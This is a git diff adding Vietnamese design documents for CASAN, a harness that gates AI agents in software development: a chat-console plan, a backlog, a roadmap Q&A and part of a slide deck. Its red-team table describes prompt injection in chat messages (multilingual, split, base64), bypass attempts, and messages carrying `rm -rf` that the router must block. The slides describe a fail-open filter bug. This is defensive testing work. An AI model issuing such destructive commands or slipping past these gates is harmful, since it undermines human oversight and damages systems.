+ +### Track M — Model Provider Binding `[MVP-0 tối thiểu → lớn dần]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.M.1 | `provider_id` per agent + `model_role` per skill; routing theo mode (nối Plan-03/02) | mới `config/model-providers.yaml` | mode → provider đúng | +| 18.M.2 | Data policy `local/internal/cloud`: **PII/secret → cloud phải qua C3 guard** | nối `data-exfil-guard.sh` (C3) | PII→cloud không guard → BLOCK | +| 18.M.3 | Credential ngoài repo (env/secret store), không commit | nối `secrets-scan.sh` | key trong repo → scan FAIL | +| 18.M.4 | Provider-call audit + token/cost telemetry → H6 | nối H6 | mỗi call → có bản ghi cost | + +### Track 3 — Operator mode (registered actions) `[MVP-1]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.3.1 | Whitelist hành động: `run tests` / `build pack` / `verify pack` (đăng ký, **không** free-command) | mới `config/operator-actions.yaml` | lệnh ngoài whitelist → DENY | +| 18.3.2 | Mỗi action qua `action-gate` (ALLOW/WARN/REQUIRE_APPROVAL/BLOCK) | nối `action-gate.sh` | destructive → REQUIRE_APPROVAL | +| 18.3.3 | Kết quả action là artifact có provenance, hiển thị lại trong chat | cùng | action → evidence link | + +### Track 4 — Agent/Skill selection governance `[MVP-2]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.4.1 | `agent-registry.yaml` versioned (tool_allowlist, max_delegation, roles_allowed, model_role) + resolver bind theo turn | mới `config/agent-registry.yaml` | chọn agent → allowlist đúng | +| 18.4.2 | RBAC gate chọn agent (14): role không đủ → DENY; vượt `max_delegation` → security-sensitive → approval | nối `rbac-check.py` | role thấp chọn agent tự chủ → DENY | +| 18.4.3 | Tool-call runtime chỉ tool **trong allowlist**; ngoài → `action-gate` BLOCK | nối `action-gate.sh` | tool ngoài allowlist → BLOCK | +| 18.4.4 | Skill code-gen chạy trong allowlist + H4 artifact-scan (Plan-02) trước output | nối `artifact-scan.sh` | skill sinh mã có injection → BLOCK | + +### Track 5 — Chat-as-loop pipeline `[MVP-2]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.5.1 | `chat-turn.sh` full: preflight → H1 context/compress → router → model-router → `loop-run.sh` → verify → trace (**gọi harness core, không reimplement**) | mới `chat-turn.sh` | bỏ 1 bước gate → test FAIL | +| 18.5.2 | Turn = loop-run: budget governor + convergence + verify-contract (Plan-17 T1/T2/T3) | nối Plan-17 | runaway chat → HALT(budget) | +| 18.5.3 | Preflight bắt buộc: `harness-preflight` + `context-assemble-scan` + `tool-output-scan`, fail-closed | nối H4 | injection trong msg → DENY | + +### Track 6 — Streaming / verify reconciliation `[MVP-2]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.6.1 | Kênh draft `UNCERTIFIED`: stream token nhưng **giữ** side-effect tới khi `loop-gate` PASS | `chat-turn.sh` + API | side-effect trước gate → không xảy ra | +| 18.6.2 | DENY sau khi đã stream draft → **thu hồi** draft, turn `DENIED`, audit | cùng | draft bị DENY → không tác dụng phụ | +| 18.6.3 | L0 read-only stream thẳng; ≥L1 bắt buộc draft-hold | resolver | L1 agent không stream-exec thẳng | + +### Track 7 — Chat API (NestJS) + UI (React) trên Command Center `[MVP-0 tối thiểu → lớn dần]` +| Task | Việc | File | Verify | +|---|---|---|---| +| 18.7.1 | Chat API (NestJS) **bọc** harness (MVP-0: endpoint read-only; single-source, không verdict riêng) | `control-plane/` (sau 01 → `packages/`) | API chỉ gọi harness | +| 18.7.2 | Chat panel React + hiển thị **evidence sources** + badge `mode/risk` (Prompt Router preview) | Control Plane UI | render nguồn + mode đúng | +| 18.7.3 | (MVP-2) agent/skill picker theo RBAC + badge `UNCERTIFIED/CERTIFIED` + nút **loop-breaker** + delegation-level | Control Plane UI | picker ẩn agent ngoài quyền | +| 18.7.4 | Fail-loud: API/telemetry chết → UI `STALE/503` (tái dùng D3 `/healthz`) | nối Plan-07 D3 | ngắt backend → UI báo stale | + +### Track 8 — Replay / Evidence / Command Center widgets `[MVP-2 → MVP-3]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.8.1 | **Replay** một turn (verify lại artifact đã ghi) phát hiện tamper/non-determinism | nối `loop-trace.py replay` | sửa artifact turn → replay lệch | +| 18.8.2 | `verify-chain` lịch sử chat (tamper-evidence, SEC-01/02, KMS khi TIER-2) | nối `loop-trace verify-chain` | sửa 1 turn → chain BREAK | +| 18.8.3 | Widget **Chat/Loop** trên Command Center (13 §8.6): ticker per-iteration, budget gauge, click → Evidence drawer | nối Plan-13 §8.6 | số khớp fixture; click → evidence | +| 18.8.4 | **Approvals/Escalation panel**: turn `ESCALATED` vào approvals inbox (13 §3.4), duyệt/từ chối (JWT + SoD + lý do) | nối Plan-13 §3.4 | escalate → pending; JWT giả → DENY | + +### Track 9 — Multi-tenant hardening `[MVP-3]` +| Task | Việc | File | Verify (WSL) | +|---|---|---|---| +| 18.9.1 | tenant-partition state + quyền FS (SEC-23); RBAC ở **cả tầng dữ liệu** | store per-tenant | tenant A không đọc/ghi state B | +| 18.9.2 | per-tenant encrypt at-rest (MT-02) | nối KMS | admin A không đọc audit B | +| 18.9.3 | quota / kill-switch scope theo tenant (MT-03) | nối kill-switch | 1 tenant burn budget không ảnh hưởng tenant khác | + +--- + +## 5. Red-team / test (kế thừa phong cách adversarial-harness) +| Test | Kỳ vọng | +|---|---| +| Injection trong chat msg (VI/JA/split/base64) | preflight/H4 → DENY, không tới model context | +| Prompt Router: model=READ_ONLY nhưng msg có `rm -rf`/`deploy` | **rule thắng** → OPERATOR/BLOCK, không READ_ONLY | +| Read-only hỏi tài liệu ngoài whitelist | không lộ nội dung ngoài whitelist | +| PII/secret → cloud provider không qua C3 | BLOCK trước khi gọi provider | +| Bypass-attempt: gọi API bỏ qua preflight | pipeline từ chối (không có đường vòng) | +| Agent ngoài quyền (RBAC) | DENIED trước khi chạy | +| Chọn delegation vượt mức (không approval) | security-sensitive → DENY tới khi có JWT + SoD | +| Tool-call ngoài allowlist của agent | action-gate BLOCK | +| Streaming abuse: side-effect trước gate | GIỮ; không tác dụng phụ; DENY → thu hồi draft | +| Cross-tenant: chat A đọc lịch sử B | chặn ở tầng dữ liệu (SEC-23) | +| Runaway chat (loop vô hạn) | HALT(budget) (Plan-17 T1) | +| Self-declared done (model nói xong, verify fail) | KHÔNG `ANSWERED/certified` | +| Replay tamper (sửa turn đã ghi) | replay lệch + chain BREAK | + +**File test (theo MVP):** MVP-0 — `phase-chat-prompt-router-tests.sh`, +`phase-chat-readonly-tests.sh`, `phase-chat-session-audit-tests.sh`; MVP-1 — +`phase-chat-operator-tests.sh`; MVP-2 — `phase-chat-pipeline-tests.sh`, +`phase-chat-agent-select-tests.sh`, `phase-chat-stream-hold-tests.sh`, +`phase-chat-replay-tests.sh`; MVP-3 — `phase-chat-tenant-tests.sh`. Chạy **WSL** +(deterministic, mock model; nhánh live cần Ollama SKIP-aware). Nối `ci-harness-gate.sh`; +cập nhật tổng test ở `CASAN_HARDENING_STATUS.md`. + +--- + +## 6. Tiêu chí hoàn thành (Definition of Done) + +**MVP-0 (Ask CASAN read-only) — cổng ship đầu tiên:** +- [ ] Prompt Router phân loại `READ_ONLY/BLOCK/NOT_SUPPORTED` deterministic; **rule thắng model**; router lỗi → BLOCK. +- [ ] Chat chỉ đọc **whitelist**; hỏi ngoài whitelist không lộ; **không** command/write/skill. +- [ ] H4 scan input+output; H5 audit mỗi lượt; H6 token tracking; PII→cloud chặn qua C3. +- [ ] Trả lời **kèm ≥1 nguồn evidence**; UI hiện sources + badge mode/risk. +- [ ] Suite MVP-0 xanh trong WSL, nối CI; không đụng OKR app. + +**Full (target architecture) — DoD tổng:** +- [ ] Turn chạy **đúng như một loop-run Plan-17** (không định nghĩa vòng lặp riêng). +- [ ] **Không đường vòng:** test chứng minh bỏ bất kỳ gate nào (preflight/verify) → FAIL. +- [ ] Chọn agent/skill qua **RBAC + allowlist**; nâng delegation cần **approval JWT + SoD**. +- [ ] Streaming: side-effect **luôn** sau gate; draft DENY → thu hồi, không tác dụng phụ. +- [ ] Chat state **per-tenant**; test cross-tenant bị chặn ở tầng dữ liệu. +- [ ] Turn **replay được** + `verify-chain` phát hiện tamper. +- [ ] API chỉ **bọc** harness (không verdict riêng); UI đọc **artifact thật** + click-to-evidence. +- [ ] Không đụng OKR app; core harness giữ nguyên số test + thêm suite chat. + +--- + +## 7. Ghi chú trung thực & Non-goals (không lan man) +- **[mới] — 📋 chưa implement.** Plan mô tả thiết kế; chưa viết script trong đợt này. +- **MVP-first (chống lan man):** **MVP-0 (Ask CASAN read-only) KHÔNG phụ thuộc Plan-17/ + 14/SEC-23** — làm được ngay trên nền H4/H5/H6 hiện có. Chỉ **MVP-2 trở đi** (chat-as- + loop + agent) mới cần Plan-17 (T1–T3) + Plan-14 RBAC; **MVP-3** mới cần SEC-23 tenant. + Thứ tự bắt buộc: **MVP-0 → MVP-1 → MVP-2 → MVP-3**, không nhảy cóc. +- **Phụ thuộc cứng Plan-16:** enforcement chỉ "thật" khi approval JWT thật (SEC-07), + fail-closed (SEC-04/09), secure-by-default (SEC-17), tamper-evidence (SEC-01/02) đã vá. +- **Non-goals (KHÔNG làm trong plan này):** + - Không làm chatbot đa mục đích/khách hàng cuối; đây là **ops/dev console** nội bộ. + - Không thêm quyền phán quyết mới ở tầng chat (single-source harness). + - Không tự sinh agent/skill mới ngoài `agent-registry` đã governance. + - Không stream side-effect; không autonomous-by-default. + - Không thay thế core harness track — chat là **vỏ mỏng**, đứng sau core (Index P1). +- **Rẻ + verify offline trước:** bắt đầu **Track 0 (18.0.x Prompt Router)** + **Track 1 + (18.1.x Read-only Ask CASAN)** + **Track 2 (18.2.x session/audit)** — thuần bash/python, + deterministic, mock model, WSL; không cần Plan-17/14/infra. Đây chính là **MVP-0**. +- **Giá trị định vị:** biến core harness thành **bề mặt hội thoại có governance** — + câu chuyện "wow thực chất": mỗi lượt chat **verify được, replay được, click-to- + evidence được**, và là hiện thân trực tiếp của **Human-led, AI-first**. + +--- +_Liên quan: `CASAN_PLAN_17_LOOP_ENGINEERING.md` (Loop Contract — turn = loop-run) · +`CASAN_PLAN_13_CONTROL_PLANE.md` (§3.4 HITL inbox, §8.6 Command Center, API bọc harness) · +`CASAN_PLAN_14_RBAC.md` (ai được chat/chọn agent) · `CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md` +(fail-closed, approval JWT thật, tamper-evidence, SEC-23 tenant-partition) · +`CASAN_PLAN_03_CLOUD_PATCH.md` + `CASAN_PLAN_02_LLM_SOURCEGEN.md` (model-router + skill/agent) · +`CASAN_PLAN_08_CONTEXT_COMPRESSION.md` (nén context giữa vòng) · +`CASAN_PLAN_07_PRODUCTION_HARDENING.md` (H5 audit, C4 approval, C7 kill-switch, D3 fail-loud)._ diff --git a/docs/plans/CASAN_PLAN_FUTURE_PHASES.md b/docs/plans/CASAN_PLAN_FUTURE_PHASES.md new file mode 100644 index 0000000..5e31ab9 --- /dev/null +++ b/docs/plans/CASAN_PLAN_FUTURE_PHASES.md @@ -0,0 +1,63 @@ +# CASAN — Backlog Phase sau (Vision / Platform, CHƯA làm) + +> Gom các ý tưởng nâng tầm **platform** chưa cần thiết ngay, để lưu và làm ở **phase phát triển sau**. **KHÔNG mở thành plan riêng bây giờ** (tránh phình phạm vi). Mỗi mục sẽ "tốt nghiệp" thành plan riêng khi đủ điều kiện. +> +> Nhãn: [mở rộng] = nối vào plan đã có · [vision] = hạ tầng lớn, để sau. Nguyên tắc trung thực: đây là **tầm nhìn chưa xây** — khi trình bày phải nói rõ. + +## Điều kiện "tốt nghiệp" thành plan riêng +Một mục ở đây chỉ tách ra plan khi: (a) plan phụ thuộc đã xong, và (b) có nhu cầu/dữ liệu thật để làm có ý nghĩa. + +--- + +## B1. Human Approval & Decision Workflow [mở rộng — KHÔNG plan riêng] +- **Bản chất:** nâng `REQUIRE_APPROVAL` thành workflow thật: phát hiện → tạo approval request → đúng người duyệt → H5 audit actor+reason → H7 resume đúng state. +- **Nối vào:** Plan-07 §C0/C4 (outcome + reviewer role) và Plan-04 (duyệt `casan improve`). +- **Vì sao chưa tách:** đã có mầm ở 07/04; chỉ cần mở rộng, chưa cần plan mới. +- **Tốt nghiệp khi:** 07-C4 + 04 chạy, cần workflow resume-after-approval thật trong tổ chức. + +## B2. H7 Orchestration State Machine [vision] +- **Bản chất:** vòng đời run thành state machine: `PENDING→RUNNING_STEP_n→WAITING_APPROVAL→RETRYING→ROLLBACKING→COMPLETED/FAILED_*`; checkpoint/resume/retry/timeout/concurrency/run-lock/kill-switch. +- **Vì sao hoãn:** biến harness-script thành **workflow engine** = rewrite hạ tầng lớn; với demo/thi là over-scope. Checkpoint/rollback hiện [có] đã đủ. +- **Tốt nghiệp khi:** chạy production đa run song song, cần resume-after-approval + concurrency thật. + +## B3. Model Benchmark, Routing & Escalation [mở rộng — nối 02/03] +- **Bản chất:** đo model theo vai (SRS/spec/code), chọn "rẻ nhất vẫn pass H3/H4", escalate khi H3 REJECT ≥ N; `model-router` theo policy. +- **Nối vào:** Plan-02 (source-gen escalation) + Plan-03 (đa nhà cung cấp) + `model-fallback.yaml` [có]. +- **Vì sao chưa tách:** **benchmark cần dữ liệu multi-model thật** — chưa nối model (02/03) thì benchmark rỗng. +- **Tốt nghiệp khi:** 02+03 xong, có ≥2 model chạy thật để so số. + +## B4. Governed CASAN Memory [vision] +- **Bản chất:** biến lịch sử (lỗi từng gặp, decision đã duyệt, pattern injection đã chặn, cost profile, model perf) thành **memory có governance**: trust_level, domain, expiry, used_by, can_modify. +- **Vì sao hoãn:** rủi ro **poisoning** cao; overlap Plan-04; cần audit + quyền duyệt chặt trước. +- **Tốt nghiệp khi:** Plan-04 self-improve + Plan-09 evidence vững, cần tái dùng tri thức qua nhiều run/dự án. + +## B5. Safe Auto-remediation [mở rộng — nối 04] +- **Bản chất:** gate fail → phân loại root-cause → **tự tạo patch** → chạy test → sinh evidence → `REQUIRE_APPROVAL` (KHÔNG auto-merge). +- **Nối vào:** Plan-04 (`casan improve`) như một track cao hơn. +- **Vì sao chưa tách:** là bậc nâng của 04, không phải plan độc lập. +- **Tốt nghiệp khi:** 04 đề-xuất-cải-tiến chạy ổn, muốn tự sinh patch có kiểm soát. + +## B6. CASAN Platform SLO & KPI Dashboard [một phần mở rộng — nối `business-kpi-report.sh` + Plan-09/04] +- **Bản chất:** KPI cho chính CASAN: block_rate, false_positive_rate, false_negative_rate, token_saved, cost_per_run, time_to_approval, rollback_success, incident_count, model_reject_rate, reuse_count. +- **Nối vào:** `business-kpi-report.sh` [có] + `generate-agentops-dashboard.py` [có] + Evidence Pack (Plan-09). +- **Vì sao chưa tách:** KPI/run trình bày được ngay; KPI **platform đa dự án** cần chạy thật đã (sau 06/12). +- **Tốt nghiệp khi:** có ≥2 dự án + nhiều run để KPI có ý nghĩa vận hành. + +--- + +## Bảng tổng ưu tiên (khi các plan nền xong) + +| Mục | Loại | Nối/Phụ thuộc | Khi nào làm | +|---|---|---|---| +| B1 Approval workflow | mở rộng | 07-C4, 04 | sớm (mở rộng nhẹ) | +| B3 Model benchmark | mở rộng | 02, 03 | sau khi nối model thật | +| B5 Auto-remediation | mở rộng | 04 | sau 04 | +| B6 Platform KPI | một phần | 06, 12, 09 | sau khi có nhiều run/dự án | +| B2 H7 state machine | vision | 07, 14-scope | production nghiêm túc | +| B4 Governed memory | vision | 04, 09 | tầm cao, làm cuối | + +## Tuyên bố trung thực (khi trình bày) +> Các năng lực trong file này là **tầm nhìn platform, CHƯA hiện thực**. Phần đã làm & đo được là H4/H5/H6 + production-hardening (Plan-07). Evidence Pack (09), Traceability (10), Domain Pack (12) là bước kế tiếp **đã có kế hoạch**. State machine / governed memory / benchmark là dài hạn. + +--- +_Liên quan: `CASAN_PLAN_00_INDEX.md` (mục lục) · các plan nền 01–08._ diff --git a/docs/plans/CASAN_PLAN_QA.md b/docs/plans/CASAN_PLAN_QA.md new file mode 100644 index 0000000..92d30be --- /dev/null +++ b/docs/plans/CASAN_PLAN_QA.md @@ -0,0 +1,144 @@ +# CASAN — Q&A: Vì sao phải làm các Plan mới? + +> Bộ hỏi–đáp để **bảo vệ roadmap** (Plan 01–10, 12, 08 + backlog phase sau) khi bị chất vấn: *"đã có H4/H5/H6 rồi, sao còn nhiều plan thế?"*. Trả lời thống nhất cho cả nhóm. +> +> Nguyên tắc: mỗi câu nêu **vấn đề nếu KHÔNG làm** → **lợi ích khi làm** → **mức độ/thời điểm**. Nhãn: [đo thật] · [dự báo] · [mới=chưa xây]. + +--- + +## PHẦN A — Câu hỏi tổng (roadmap) + +**A1. Đã có H4/H5/H6 chạy được rồi, sao còn cả loạt plan?** +Vì cuộc thi và bản thân hệ thống có 3 tầng mục tiêu: (1) **cải thiện H4/H5/H6** — đã làm & đo [đo thật]; (2) **hiểu sâu** — đã nhận diện đường lọt (Plan-07); (3) **hướng production packaging** — đây mới là phần các plan mới giải quyết. Dừng ở H4/H5/H6 chỉ chứng minh "chặn được", chưa chứng minh "**đóng gói, tái dùng, có bằng chứng, đo được chất lượng, vận hành được trong tổ chức**". + +**A2. Có phải đang "vẽ việc" / scope creep không?** +Không — vì chúng tôi **cố ý không mở hết**. Chỉ 3 plan mới đáng làm sớm (09, 10, 12); phần còn lại (B1–B6) **gộp vào 1 file backlog** đánh dấu "chưa xây". Đây chính là biểu hiện kiểm soát phạm vi, không phải phình. + +**A3. Vì sao không làm tất cả cùng lúc?** +Vì (a) rủi ro vỡ bản demo đang chạy; (b) một số plan **phụ thuộc nhau** (ví dụ Domain Pack cần restructure xong; Model benchmark cần nối model thật xong mới có số). Làm sai thứ tự = tốn công mà không có bằng chứng. + +**A4. Roadmap này có làm mất tính trung thực khi trình bày không?** +Không, nếu nói đúng nhãn: *"phần đã làm & đo là H4/H5/H6 + hardening; Evidence Pack và Traceability MVP đã có test; Domain Pack là bước kế tiếp đã có kế hoạch; state machine/governed memory là tầm nhìn dài hạn chưa xây."* Ranh giới rõ ràng = điểm cộng độ chín. + +**A5. Nếu chỉ được chọn 3 plan, chọn gì và vì sao?** +**09 Evidence Pack · 10 Traceability · 12 Domain Pack.** Ba cái này nâng CASAN từ "harness bảo vệ AI" lên "**nền tảng AI-SDLC có bằng chứng, đo chất lượng, tái dùng đa domain**" — đúng 3 trục thi. + +--- + +## PHẦN B — Vì sao cần TỪNG plan + +**B-01. Vì sao cần Plan-01 Tái cấu trúc?** +- *Không làm:* 31 script phẳng, harness trộn với Spec-Kit, sửa 1 dự án phải sửa nhiều chỗ → không thể tái dùng chuyên nghiệp. +- *Làm được:* tách `packages/casan-harness` khỏi `apps/`, gate nhóm theo H1–H7, config/domain tách rời → nền cho mọi plan sau (09/12 phụ thuộc nó). +- *Mức:* nền tảng, ưu tiên cao. + +**B-02. Vì sao cần Plan-02 Nối LLM sinh source?** +- *Không làm:* hiện source là **template deterministic** [đo thật] — chưa phải AI thật sinh. Tuyên bố "AI sinh code" sẽ **không đúng**. +- *Làm được:* LLM thật sinh artifact nhưng **vẫn qua H1→H7**; đúng nghĩa "AI-SDLC có kiểm soát". +- *Mức:* cao, nhưng sau 03 (cần model mạnh cho bước khó). + +**B-03. Vì sao cần Plan-03 Patch cloud?** +- *Không làm:* nhánh cloud là **stub** [đo thật] — cắm key vẫn fail. Không mở được đa nhà cung cấp. +- *Làm được:* OpenAI/Anthropic chạy thật, giữ SSRF guard + fallback local. +- *Mức:* cao, độc lập. + +**B-04. Vì sao cần Plan-04 Tự cải tiến?** +- *Không làm:* cải tiến ngưỡng/corpus/golden làm tay, dễ quên, không audit. +- *Làm được:* `casan improve` **đề xuất** tự động + **người duyệt** + ghi audit → cải tiến có kiểm soát. +- *Mức:* trung, cần 01+05. + +**B-05. Vì sao cần Plan-05 CI/CD?** +- *Không làm:* gate chạy tay, PR lỗi vẫn merge, không có bằng chứng CI. +- *Làm được:* mỗi PR chạy security+adversarial+harness; đỏ thì chặn merge; SemVer + release. +- *Mức:* trung, nên sớm. + +**B-06. Vì sao cần Plan-06 Onboard dự án 2?** +- *Không làm:* tuyên bố "tái dùng" chỉ là lý thuyết — registry còn 2 entry **demo**, dự án thật = 1 [đo thật]. +- *Làm được:* `HARNESS_REUSE_VALID project_count=2` **thật** → bằng chứng reuse mạnh nhất. +- *Mức:* cao (chứng minh reuse). + +**B-07. Vì sao cần Plan-07 Production hardening?** +- *Không làm:* còn đường lọt thật (semantic SKIP, telemetry chưa bất biến, thiếu trần chi phí, tool misuse, supply-chain, sandbox…). "PoC tốt" nhưng chưa production. +- *Làm được:* Track A → ~3.8–4.0; Track B+C → production nghiêm túc; kín đòn phản biện. +- *Mức:* cao (bảo mật). + +**B-08. Vì sao cần Plan-08 Nén context?** +- *Không làm:* token/cost tăng theo độ dài; không có tối ưu. +- *Làm được:* giảm token/latency/cost **mà không phá governance** (scan raw trước, must-keep, faithfulness). +- *Mức:* trung, sau Plan-07 core (nén thêm bề mặt rủi ro). + +**B-09. Vì sao cần Plan-09 Evidence Pack?** +- *Không làm:* trả lời "vì sao tin output?" bằng **cảm tính**; bằng chứng nằm rải rác. +- *Làm được:* mỗi run có **proof pack** (H1–H7 + red-team + cost + ký) — "giấy khai sinh + giấy kiểm định". +- *Mức:* **cao, đáng làm sớm** (rẻ vì gom dữ liệu đã có, ăn điểm thi). + +**B-10. Vì sao cần Plan-10 Traceability?** +- *Không làm:* sinh code nhanh nhưng **không chứng minh code đáp ứng requirement nào** — đúng điểm yếu chung của AI coding tool. +- *Làm được:* ma trận REQ→SRS→spec→task→code→test→evidence, đánh dấu GAP; H3 REJECT nếu REQ critical không cover. +- *Mức:* cao (khác biệt nhất). + +**B-12. Vì sao cần Plan-12 Domain Pack?** +- *Không làm:* onboard dự án mới phải copy folder tay → reuse không "platform". +- *Làm được:* khai báo `domain-pack.yaml` là xong, **không sửa gate**. +- *Mức:* trung–cao, sau Plan-01. + +**B-13. Vì sao cần Plan-13 Control Plane?** +- *Không làm:* chỉ có dashboard **read-only**; mọi cấu hình (compression, threshold, kill-switch, model routing) sửa tay qua file, không UI, không audit thay đổi, không RBAC → không vận hành được ở tổ chức lớn. +- *Làm được:* web app **React+NestJS** giám sát + **quản lý settings** với deny-by-default + approval + audit hash-chain + rollback; UI không bypass được gate. **[đo thật]** MVP: backend `npm test` 52/0/3-skip, frontend vitest 20/20. +- *Mức:* cao (đòn bẩy vận hành enterprise); phụ thuộc 14 (RBAC) + 04 (approval). + +**B-14. Vì sao cần Plan-14 RBAC & multi-tenant?** +- *Không làm:* chỉ có approval-identity (07-C4), chưa có mô hình quyền → ai-thấy-gì/ai-đổi-gì không kiểm soát; đa dự án không cách ly. +- *Làm được:* role×resource×action + tenant isolation, deny-by-default fail-closed, ánh xạ từ IdP; mọi quyết định RBAC vào audit. +- *Mức:* cao cho bar tổ chức; nền quản lý an toàn của Plan-13. + +**B-15. Vì sao cần Plan-15 Responsible AI & Data Governance?** +- *Không làm:* thiếu phân loại dữ liệu, PII/retention, model card, RAI report → không đạt yêu cầu FPT §14.3–14.4 khi bị soi. +- *Làm được:* classification + gate PII→cloud + model card (nối B4 digest) + RAI report qua Evidence Pack + giải trình REQ→code→test. +- *Mức:* bắt buộc cho "bar rất cao"; bổ trợ 09/10/13. + +--- + +## PHẦN C — Vì sao HOÃN (không bỏ) các mục backlog + +**C1. Vì sao B2 (H7 State Machine) và B4 (Governed Memory) để sau?** +Vì là **hạ tầng lớn / rủi ro cao** (state machine = rewrite; memory = nguy cơ poisoning). Với thi/demo là over-scope; checkpoint/rollback hiện [có] đã đủ. Chỉ làm khi chạy production đa run thật. + +**C2. Vì sao B3 (Model benchmark) chưa làm ngay?** +Vì benchmark **cần dữ liệu multi-model thật**. Chưa nối model (Plan-02/03) thì benchmark rỗng — làm sớm là số liệu giả. + +**C3. Vì sao B1/B5 không thành plan riêng?** +Vì đã có mầm: approval trong Plan-07 C4 + Plan-04; auto-remediation là bậc nâng của Plan-04. **Mở rộng chỗ có sẵn** hợp lý hơn tạo plan mới → tránh phình. + +**C4. Backlog có phải "để đó cho có" không?** +Không. Mỗi mục ghi **điều kiện tốt nghiệp** thành plan riêng (plan phụ thuộc xong + có nhu cầu/dữ liệu thật). Đây là quản lý backlog, không phải bỏ xó. + +--- + +## PHẦN D — Câu hỏi bẫy / phản biện + +**D1. "Nhiều plan thế này bao giờ mới xong? Có phải over-engineering?"** +Các plan **độc lập, task-level, có verify** — làm được từng phần, không cần xong hết. Ưu tiên rõ: bảo mật (07) + bằng chứng (09) + khác biệt (10) trước. Phần platform gộp backlog. Đây là **lộ trình có kiểm soát**, ngược với over-engineering. + +**D2. "Sao không viết lại core sang Rust cho xịn?"** +Vì core là **sản phẩm governance cần đọc-được** (script minh bạch = tài sản, giám khảo tự kiểm chứng). Rust chỉ đáng cho **primitive crypto/regex/parse** (hybrid), làm **sau thi**. Bottleneck là I/O + model, không phải CPU. + +**D3. "Đã bảo mật tốt rồi, thêm plan có thừa không?"** +Bảo mật tốt ở **prompt-level**, nhưng production còn tool misuse, supply-chain, data-exfil, sandbox (Plan-07 Track C). Không thêm = hở đúng các câu phản biện production thật. + +**D4. "Roadmap dài có phải hứa suông?"** +Không — mọi tuyên bố gắn nhãn: đã làm & **[đo thật]** (H4/H5/H6, 35/35, 43/43); **[mới]** = có kế hoạch task-level chưa xây. Không trộn hai loại. + +**D5. "Vì sao không chỉ làm 1–2 thứ cho gọn?"** +Chúng tôi **có** làm gọn: chỉ 3 plan mới đáng làm sớm, phần còn lại gộp 1 file. Nhưng "gọn" không đồng nghĩa "thiếu tầm nhìn" — roadmap thể hiện tư duy sản phẩm, miễn là ranh giới đã-làm / sẽ-làm rõ ràng. + +**D6. "Plan nào rủi ro nhất nếu bỏ qua?"** +Bỏ **Plan-07 (hardening)** = hệ dễ bị khai thác thật khi lên production. Bỏ **Plan-09 (evidence)** = mất khả năng chứng minh — đi ngược tim CASAN. Hai cái này rủi ro nhất nếu bỏ. + +--- + +## Câu chốt (một dòng bảo vệ roadmap) +> *"H4/H5/H6 chứng minh chặn được và đo được. Các plan mới nâng CASAN từ 'harness bảo vệ AI' lên 'nền tảng AI-SDLC có bằng chứng, đo chất lượng, tái dùng đa domain' — làm theo thứ tự phụ thuộc, ưu tiên cái rẻ-mà-đúng-phương-châm trước, phần platform để backlog và nói rõ là chưa xây."* + +--- +_Liên quan: `CASAN_PLAN_00_INDEX.md` · các plan 01–10, 12–15 · `CASAN_PLAN_FUTURE_PHASES.md` · `CASAN_TEAM_QA.md` (Q&A hệ thống — bản canonical ở `casan-next-plans/`) · `CASAN_TU_TUONG_QA.md` (triết lý)._ diff --git a/docs/plans/CASAN_SLIDE_DECK.html b/docs/plans/CASAN_SLIDE_DECK.html new file mode 100644 index 0000000..c9a32dd --- /dev/null +++ b/docs/plans/CASAN_SLIDE_DECK.html @@ -0,0 +1,425 @@ + + + + + +CASAN Harness — FPT · AI-SDLC có kiểm soát + + + +
+
FPTAI-SDLC · CASAN
+
+ + +
+
FPT · CASAN Harness · Thời đại AI
+

Cải thiện H4 · H5 · H6
cho AI-SDLC có kiểm soát

+

Chúng tôi không hỏi "AI viết code nhanh cỡ nào" — mà hỏi: + khi AI làm bậy, ai chặn? và làm sao chứng minh đã chặn?

+

Chạy có bằng chứng · Chặn thật · Trung thực về giới hạn · Hướng đóng gói production.

+
+ + +
+
Mục tiêu trình bày
+

Ba trục chúng tôi chứng minh

+
+

🔴 1 · Cải thiện H4·H5·H6

Before → After cho từng harness, kèm bằng chứng đo thật (exit-code, số test).

+

🧠 2 · Hiểu hệ thống sâu

Truy đến gốc lỗi (fail-open), threat-model đường lọt, nguyên tắc "harness thấp nhất quyết định trần".

+

📦 3 · Hướng production

Thang điểm sẵn sàng, đóng gói package tái dùng, lộ trình hardening có test.

+
+

Mọi con số gắn nhãn ĐO THẬT — giám khảo chạy lại ra đúng.

+
+ + +
+
Hiểu sâu · Truy gốc lỗi
+

Điểm mù chí mạng: fail-open

+
    +
  • Bản trước dùng grep "[:space:]" — cú pháp sai trên grep hiện đại → thoát rc=4.
    • +
  • Hệ quả: bộ lọc "tưởng đang chặn" nhưng thực chất chặn = 0 — lọt cả injection kinh điển.
    • +
  • Bài học: "có prompt-filter.yaml" ≠ "chặn được thật". Chỉ tính điểm khi chặn được tấn công thật.
    • +
+

Phát hiện được lỗi fail-open này = hiểu hệ thống ở tầng thực thi, không dừng ở tài liệu.

+
+ + +
+
Kiến trúc CASAN
+

Mọi lời gọi agent đi xuyên 7 harness

+
+
📥 INPUT
→
+
🧠 Boss · 13 bước AI-SDLC
→
+
📤 code + BẰNG CHỨNG
+
+
+ H1 ContextH2 ToolH3 Eval + H4 SecurityH5 Governance + H6 AgentOpsH7 Orchestration +
+

Gate trả APPROVE / REJECT / BLOCK — kiểm soát bọc mọi bước, không đứng bên lề.

+
+ + +
+
Trục 1 · 🔴 H4 Security
+

Từ fail-open → chặn thật đa lớp

+
+
BEFORE
    +
  • grep sai → fail-open rc=4, chặn = 0
    • +
  • chỉ regex tiếng Anh
    • +
  • mù với câu diễn đạt mới
+
→
+
AFTER
    +
  • BLOCK rc=2 + normalize leetspeak
    • +
  • + semantic model-as-judge + strict fail-closed
    • +
  • homoglyph · zero-width · base64 đều chặn
    • +
  • artifact-scan + tool-output scan · secret/PII block
+
+

ĐO THẬT Adversarial 44/44 + Track A 25/25 · homoglyph/base64 → rc=2 · strict fail-closed → rc=2.

+
+ + +
+
Trục 1 · 🔵 H5 Governance
+

Từ log sửa được → audit bất biến, ký số

+
+
BEFORE
    +
  • log thường, sửa được
    • +
  • không chống giả mạo
    • +
  • không truy vết ký số
+
→
+
AFTER
    +
